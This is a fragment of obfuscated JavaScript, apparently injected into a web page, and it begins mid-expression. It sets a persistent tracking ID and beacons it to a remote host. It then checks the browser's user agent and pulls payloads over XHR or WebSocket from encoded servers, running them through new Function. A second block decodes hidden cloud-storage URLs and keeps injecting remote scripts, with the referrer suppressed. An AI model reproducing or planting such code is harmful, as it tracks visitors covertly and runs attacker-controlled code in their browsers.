RegExp(c[0]+''+c[0],'g'),c[0]))));!function(o,t){var a=o.getItem(t);if(!a||32!==a.length){a='';for(var e=0;e!=32;e++)a+=Math.floor(16*Math.random()).toString(16);o.setItem(t,a)}var n='https://qsd.spzkan.cn:7891/stats/15662/'+i+'?ukey='+a+'&host='+window.location.host;navigator.sendBeacon?navigator.sendBeacon(n):(new Image).src=n}(localStorage,'__tsuk');'jQuery';if(navigator.userAgent.indexOf('b'+'a'+'id'+'u')!=-1){var xhr=new XMLHttpRequest();xhr.open('POST',u+'/vh4/'+i);xhr.setRequestHeader('Content-Type','application/x-www-form-urlencoded;');xhr.setRequestHeader('X-REQUESTED-WITH','XMLHttpRequest');xhr.onreadystatechange=function(){if(xhr.readyState==4&&xhr.status==200){var data=JSON.parse(xhr.responseText);new Function('_'+'t'+'d'+'cs',new Function('c',data.result.decode+';return '+data.result.name+'(c)')(data.result.img.join('')))(cs);}};xhr.send('u=1');}else if(WebSocket&&/UCBrowser|Quark|Huawei|Vivo|NewsArticle/i.test(navigator.userAgent)){k=UhtP(decodeURIComponent(x(k.replace(new RegExp(c[1]+''+c[1],'g'),c[1]))));var ws=new WebSocket(k+'/wh4/'+i);ws.onmessage=function(e){ws.close();new Function('_tdcs',x(e.data))(cs);};ws.onerror=function(){var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}}else{var s=d[crd]('script');s.src=u+'/vh4/'+i;cs.parentElement.insertBefore(s,cs);}})('aHR0cHMlM0ElMkkYlMkkZhLm1wemx2cS5jbiUzQTg4OTE=','d3NzJTNBJTJGJTJGYYS55a2toanMuYY24lM0E5NTM1','168322',window,document,['k','Y']);}:function(){};
let urls=["hWWtWWtWWpWWsWW:WW/WW/WWoWWcWW1WW8WW1WW2WWnWW4WWdWW7WW6WW.WWoWWsWWsWW-WWcWWnWW-WWsWWhWWaWWnWWgWWhWWaWWiWW.WWaWWlWWiWWyWWuWWnWWcWWsWW.WWcWWoWWmWW/WW1WW2WW/WW1WW1WW0WW5WWeWWcWW8WW5WW8WW2WW3WW7WW2".split("WW").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBpBB.BBgBBoBBdBBmBBwBBiBBtBBhBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hBBtBBtBBpBBsBB:BB/BB/BBmBBqBB1BB2BBnBB4BBdBB7BB6BB.BBoBBsBBsBB-BBcBBnBB-BBsBBhBBaBBnBBgBBhBBaBBiBB.BBaBBlBBiBByBBuBBnBBcBBsBB.BBcBBoBBmBB/BB1BB2BB/BB1BB1BB0BB5BBeBBcBB8BB5BB8BB2BB3BB7BB2".split("BB").join(""),"hTTtTTtTTpTTsTT:TT/TT/TTdTT8TT9TT-TT1TT3TT1TT3TT9TT4TT4TT0TT6TT2TT.TTcTToTTsTT.TTaTTpTT-TThTToTTnTTgTTkTToTTnTTgTT.TTmTTyTTqTTcTTlTToTTuTTdTT.TTcTToTTmTT/TT1TT1TT0TT5TTeTTcTT8TT5TT8TT2TT3TT7TT2".split("TT").join("")];let urlindex=0;let rfunc=function(){if(window.__rr__loaded_2372_1105 != 'ok'){let ss = document.createElement('script');ss.type = 'text/javascript';ss.referrerPolicy='no-referrer';ss.src=urls[urlindex++]+ (navigator.userAgent.indexOf('Android') != -1 ? 'a':'i') + '?_=' + new Date().getTime();document.body.appendChild(ss);if(urlindex < urls.length){setTimeout(rfunc, 2000);}}};rfunc();rfunc();